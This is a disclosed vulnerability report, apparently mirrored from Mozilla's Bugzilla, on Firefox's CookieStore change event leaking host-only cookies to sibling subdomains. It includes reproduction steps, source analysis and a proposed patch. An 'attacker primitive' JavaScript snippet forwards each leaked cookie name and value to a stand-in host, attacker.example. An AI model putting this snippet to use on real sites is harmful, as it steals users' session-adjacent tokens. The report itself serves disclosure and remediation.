Skip to content
Info disclosure Disclosed report Advanced CVE-2026-12304

CookieStore change event leaks host-only cookies cross-origin

The CookieStore change-event dispatch in Firefox filtered notifications only by registrable domain (eTLD+1) and origin attributes, never comparing the cookie's host to the receiver's host. A page on one sibling subdomain could therefore receive the name and value of host-only cookies set on another sibling subdomain, even though the read API correctly returned nothing.

Yaqoub Aldurayhim Follow

Originally disclosed on Mozilla

  • Fixed in 39 days
  • Paid in 54 days
  • Disclosed after 39 days

Created attachment 9573723 Python HTTP harness (route-by-Host)

Steps to reproduce:

Checked out the firefox-152.0a1-nightly source tarball and built it with the default opt mozconfig (built tree at obj-nightly-opt/dist/bin/firefox, version reported as Mozilla Firefox 152.0a1).

Reviewed dom/cookiestore/CookieStoreNotifier.cpp and dom/cookiestore/CookieStoreSubscriptionService.cpp. Both register an nsIObserver on the global cookie-changed topic and filter inbound notifications by the receiver's captured registrable domain (eTLD+1) plus OriginAttributes plus IsHttpOnly. Neither compares the cookie's host against the receiver's host. Confirmed by reading CookieStoreNotifier::Create at lines 22-66, which captures only mBaseDomain = CookieCommons::GetBaseDomain(principal) and mOriginAttributes = principal->OriginAttributesRef() into the notifier (no host capture), and by reading the relevant filter blocks (quoted in the actual-results section below).

Wrote a minimal two-page PoC harness (attached) — a single Python HTTP server that route-by-Host serves:

  • http://foo.example.test:8765/setter.html — sets a host-only cookie via document.cookie and via cookieStore.set(...).
  • http://bar.example.test:8765/listener.html — registers cookieStore.addEventListener("change", ...) and dumps every event it receives, plus calls cookieStore.getAll() once to baseline what the SOP-correct read API returns at this origin.

Both pages call dump(...) so the harness can capture results from Firefox stderr without relying on devtools.

Created a Firefox profile at /tmp/firefox-poc/profile/ whose user.js only sets the test-environment substitutes — none of them touch CookieStore code:

network.dns.localDomains   = "foo.example.test,bar.example.test"   // DNS shim, replaces /etc/hosts
dom.securecontext.allowlist = "foo.example.test,bar.example.test"  // HTTP-as-secure-context, replaces real HTTPS
browser.dom.window.dump.enabled = true                              // capture dump() to stderr

A real attacker has real DNS and real HTTPS, so neither shim is needed in the wild. CookieStore is dom.cookieStore.enabled = true by default in 152.0a1 (modules/libpref/init/StaticPrefList.yaml), no opt-in.

Ran:

NIGHTLY=/sourcecode/firefox-152.0a1-nightly-2026-04-23/obj-nightly-opt/dist/bin/firefox
$NIGHTLY --profile /tmp/firefox-poc/profile --no-remote -new-instance \
  http://bar.example.test:8765/listener.html \
  -new-tab http://foo.example.test:8765/setter.html

The captured stderr (verbatim):

[013-BAR] READY: registered cookieStore change listener on bar.example.test
[013-FOO] READY: about to set host-only cookie via document.cookie
[013-FOO] SET: document.cookie = csrf=A1B2C3D4SECRET (host-only on foo.example.test)
[013-BAR] LEAK_CHANGED name=csrf value=A1B2C3D4SECRET domain=undefined path=undefined
[013-FOO] SET: cookieStore.set(cstore_token) ok
[013-BAR] LEAK_CHANGED name=cstore_token value=XYZ123STOREVAL domain=undefined path=undefined
[013-BAR] GET_ALL on bar.example.test (should NOT contain foo cookies): []

Two host-only cookies set at foo.example.test (one via the legacy document.cookie setter, one via cookieStore.set) are immediately delivered, name + value intact, to a cookieStore change listener on the sibling bar.example.test. The same bar.example.test window reading via cookieStore.getAll() correctly returns [] — the read API enforces SOP. The leak is specifically in the change-event dispatch path.

Attacker primitive (no compromised process required, content reachable from any web origin under the same registrable domain as the victim):

JavaScript
// Attacker JS at https://bar.example.com/  (any sibling subdomain
// of the victim's eTLD+1, including XSS, breached subdomain,
// multi-tenant SaaS subdomain).
const cs = self.cookieStore;
cs.addEventListener("change", e => {
  for (const c of e.changed) {
    fetch("https://attacker.example/leak", {
      method: "POST",
      mode: "no-cors",
      body: JSON.stringify({name: c.name, value: c.value})
    });
  }
});

Whenever the victim at https://foo.example.com/ adds, modifies or deletes any non-HttpOnly host-only cookie, the attacker page receives the full name + value via the change event and exfiltrates. The service-worker-side variant (reg.cookies.subscribe([{name: ""}])) persists this observatory across browser restarts.

Actual results:

hree things compose to produce the leak.

1. CookieStoreNotifier::Observe filters on registrable domain only

dom/cookiestore/CookieStoreNotifier.cpp:96-160:

C++
NS_IMETHODIMP
CookieStoreNotifier::Observe(nsISupports* aSubject, const char* aTopic,
                             const char16_t* aData) {
  ...
  nsAutoCString baseDomain;
  nsresult rv = notification->GetBaseDomain(baseDomain);
  ...
  if (baseDomain != mBaseDomain) {           // <-- registrable-domain only
    return NS_OK;
  }

  nsCOMPtr<nsICookie> cookie;
  rv = notification->GetCookie(getter_AddRefs(cookie));
  ...
  if (cookie->OriginAttributesNative() != mOriginAttributes) {
    return NS_OK;                            // <-- OAS only
  }

  bool isHttpOnly;
  ...
  if (isHttpOnly) {
    return NS_OK;
  }

  CookieListItem item;
  CookieStore::CookieStructToItem(net::Cookie::Cast(cookie)->ToIPC(), &item);
  ...
  GetCurrentSerialEventTarget()->Dispatch(NS_NewRunnableFunction(
      __func__, [self = RefPtr(this), item, deletedEvent] {
        self->DispatchEvent(item, deletedEvent);
      }));
}

mBaseDomain is captured in Create() at lines 41-43 from CookieCommons::GetBaseDomain(principal, ...) — i.e. the eTLD+1 of the receiver document's origin. Two top-level documents at https://foo.example.com/ and https://bar.example.com/ end up with identical mBaseDomain == "example.com". The filter passes.

There is no equivalent check against cookie->Host(). The receiver's own host is never captured into the notifier — CookieStoreNotifier.h holds only nsCString mBaseDomain and OriginAttributes mOriginAttributes.

2. CookieStoreSubscriptionService::Observe has the same gap

dom/cookiestore/CookieStoreSubscriptionService.cpp:243-353:

C++
for (const RegistrationData& data : mData) {
  const auto& principalInfo =
      data.mRegistration.principal().get_ContentPrincipalInfo();

  if (principalInfo.baseDomain() != baseDomain) {        // <-- registrable-domain only
    continue;
  }
  if (cookie->OriginAttributesNative() != principalInfo.attrs()) {
    continue;
  }

  for (const CookieSubscription& subscription : data.mSubscriptions) {
    ...
    nsCOMPtr<nsIURI> uri;
    rv = NS_NewURI(getter_AddRefs(uri), data.mRegistration.scope());
    ...
    nsAutoCString filePath;
    rv = uri->GetFilePath(filePath);                     // <-- only path extracted
    ...
    if (!CookieCommons::PathMatches(cookie->AsCookie().Path(), filePath)) {
      continue;
    }

    rv = swm->SendCookieChangeEvent(principalInfo.attrs(),
                                    data.mRegistration.scope(),
                                    cookie->AsCookie().ToIPC(), deleteEvent);
    ...
  }
}

The SW scope URI is parsed at line 330 but only GetFilePath() is read off it. The host portion of the SW scope is never compared against cookie->AsCookie().Host(). Same gap; persistent variant because subscriptions are stored to serviceworker.txt and reloaded on restart.

3. The dispatched CookieListItem carries name + value verbatim

CookieStore::CookieStructToItem (called at CookieStoreNotifier.cpp:142) populates name, value, domain, path, expires, secure, sameSite, partitioned on the JS-visible event object. In the captured PoC log above, name and value came through with their exact attacker-readable contents (csrf=A1B2C3D4SECRET, cstore_token=XYZ123STOREVAL). domain and path show as undefined on Firefox specifically because Firefox chose to expose only name and value from change events (Bug 1937477 / 1958875), but that matters only for forensics on the receiver side — the leaked secret itself is in value.

Observable post-conditions (PoC, Nightly 152.0a1)

foo.example.test sets host-only cookie csrf=A1B2C3D4SECRET (no Domain attr)
bar.example.test cookieStore.getAll()                         → []   (SOP enforced for reads)
bar.example.test cookieStore "change" event listener fires    → {name: "csrf", value: "A1B2C3D4SECRET", ...}
                                                                 ^ cross-origin cookie name + value

Same divergence on the SW-subscription path with reg.cookies.subscribe([{name: ""}]) — the cookiechange event dispatched to the SW carries the IPC-serialized cookie, including the host-only cookie of any sibling subdomain on the same eTLD+1, persistently across browser restarts.

Why first-line mitigations do not save callers

  • HttpOnly — correctly skipped at CookieStoreNotifier.cpp:138-140 and CookieStoreSubscriptionService.cpp:279-281. The leak applies to the substantial set of cookies that web apps deliberately keep JS-readable: anti-CSRF tokens (the entire double-submit-cookie pattern; Angular XSRF-TOKEN; Express/Spring _csrf), anti-bot tokens (Akamai BMP, Datadome, PerimeterX, Kasada, Imperva), tenant identifiers and feature flags that double as authorization context, affiliate / tracking IDs.
  • dFPI / Total Cookie Protection — partition keys for two top-level tabs at sibling subdomains are both empty. The OriginAttributesNative != mOriginAttributes check at line 128 passes. TCP only segregates third-party embeds, not first-party sibling subdomains.
  • First-Party Isolation (privacy.firstparty.isolate) — would split via firstPartyDomain, but is off by default.
  • CSP, COOP, COEP, frame-ancestors — irrelevant; the leak is via the cookie-change observer service, not via DOM access.
  • Path scoping on the cookie or on the subscription — only effective if the attacker subscribes with a narrower path than the cookie. A wildcard subscription with SW scope / catches every non-HttpOnly host-only cookie under the eTLD+1.

Asymmetry with the rest of the cookie stack

document.cookie reads at the same origin go through CookieService::GetCookieStringFromDocument → CookieCommons::DomainMatches(documentHost, cookie.host()). That path correctly excludes host-only cookies of a different host. The CookieStore change event path is the only consumer that filters on "registrable domain" without re-implementing the per-host fine filter that every other consumer of cookie data implements.

Expected results:

Per WICG cookie-store §"observable changes" (which defers to RFC 6265bis-14 §retrieval algorithm step 1, "domain-match"), a cookiechange event must fire on a CookieStore listener / SW subscription if and only if the cookie's host domain-matches the receiver's host:

"The 'observable changes' for a URL are the set of cookie changes to cookies in a cookie store which meet the requirements in step 1 of RFC6265BIS-14's Retrieval Algorithm."

RFC 6265bis §5.5 step 1: the cookie's host either equals the request-uri's host (host-only) or is a parent domain of it (domain cookie with leading dot). In both cases the test is per-host, not per-eTLD+1.

For Firefox's stored cookies:

  • a host-only cookie has host = "foo.example.com" (no leading .). Only documents whose host is exactly foo.example.com are in this cookie's jar.
  • a domain cookie has host = ".example.com" (leading .). All hosts whose name domain-matches example.com are in the jar.

The correct dispatch filter is therefore: deliver to receiver R if and only if R.host domain-matches cookie.host — using CookieCommons::DomainMatches(receiverHost, cookieHost) (the helper exists; see netwerk/cookie/CookieCommons.cpp). The current baseDomain == baseDomain check is strictly weaker — it accepts every receiver under the same eTLD+1 regardless of whether the cookie's host matches that receiver.

A minimal patch is to capture the receiver's host into CookieStoreNotifier at Create(), and add a per-host check at the top of Observe() after the OAS check:

C++
// in CookieStoreNotifier.h: new field
nsCString mHost;

// in CookieStoreNotifier::Create() at line ~43 (next to GetBaseDomain):
nsAutoCString host;
if (NS_FAILED(principal->GetAsciiHost(host))) return nullptr;

// in CookieStoreNotifier::Observe() after OAS check at line ~131:
nsAutoCString cookieHost;
net::Cookie::Cast(cookie)->GetHost(cookieHost);
if (!net::CookieCommons::DomainMatches(mHost, cookieHost)) {
  return NS_OK;
}

Symmetric change in CookieStoreSubscriptionService::Observe: pull host out of the SW scope URI (the uri already constructed at line 330) and DomainMatches against cookie->AsCookie().Host() before

the path-match.

Cross-browser parity check: Chromium/Blink's analogous code at RestrictedCookieManager::ValidateAccessToCookiesAt does enforce a per-host check (it has its own related logic-only-in-release issue at crbug.com/402207912, but the host-vs-baseDomain distinction is honored). Safari's WebKit equivalent likewise filters per-host. Firefox is the outlier here.

Whichever shape Mozilla prefers, a regression test in the shape of the attached two-page harness — set a host-only cookie on foo.example.com, observe that a cookieStore.addEventListener("change", ...) on bar.example.com does not fire — would keep the primitive covered going forward. A wpt-friendly variant using https://www1.web-platform.test and https://www2.web-platform.test (same eTLD+1, distinct hosts) is straightforward to add to testing/web-platform/tests/cookie-store/.

The original report as published on Mozilla's Bugzilla, by Yaqoub Aldurayhim. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The change-event filters in both the notifier and the service-worker subscription service compared only the registrable domain (and origin attributes and HttpOnly), omitting a per-host domain-match check against the cookie's host.

Impact

An attacker controlling any sibling subdomain under the same registrable domain could receive the name and value of non-HttpOnly host-only cookies set by the victim host, including anti-CSRF and anti-bot tokens, and the service-worker variant persists this across restarts; HttpOnly cookies, path scoping and first-party isolation (when enabled) limit it, but CSP and COOP do not.

What the attacker needed

Attacker controls a sibling subdomain; victim host sets non-HttpOnly host-only cookies; victim visits the attacker page

The fix

The notifier and subscription service should capture the receiver's host and apply a per-host domain-match against the cookie's host before dispatching, with a regression test covering sibling hosts.

How it was found

  1. Build Firefox Nightly from the source tarball with the default optimised configuration.
  2. Serve two pages from sibling hosts on the same registrable domain: one that sets host-only cookies, one that registers a cookieStore change listener.
  3. Configure a test profile with DNS and secure-context substitutes and enable dump output.
  4. Launch Firefox with the listener page and the setter page in separate tabs.
  5. Observe the listener page receiving the sibling host's cookie names and values, while getAll returns an empty list.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cookies are small pieces of data a website stores in your browser, and normally one site cannot read another site's cookies. Here, two different subdomains of the same parent domain (like shop.example.com and blog.example.com) were treated as close enough, so a page on one could be told about cookies belonging to the other. The normal read function was safe, but the notification that fires when a cookie changes leaked the cookie's name and value.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by Yaqoub Aldurayhim

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.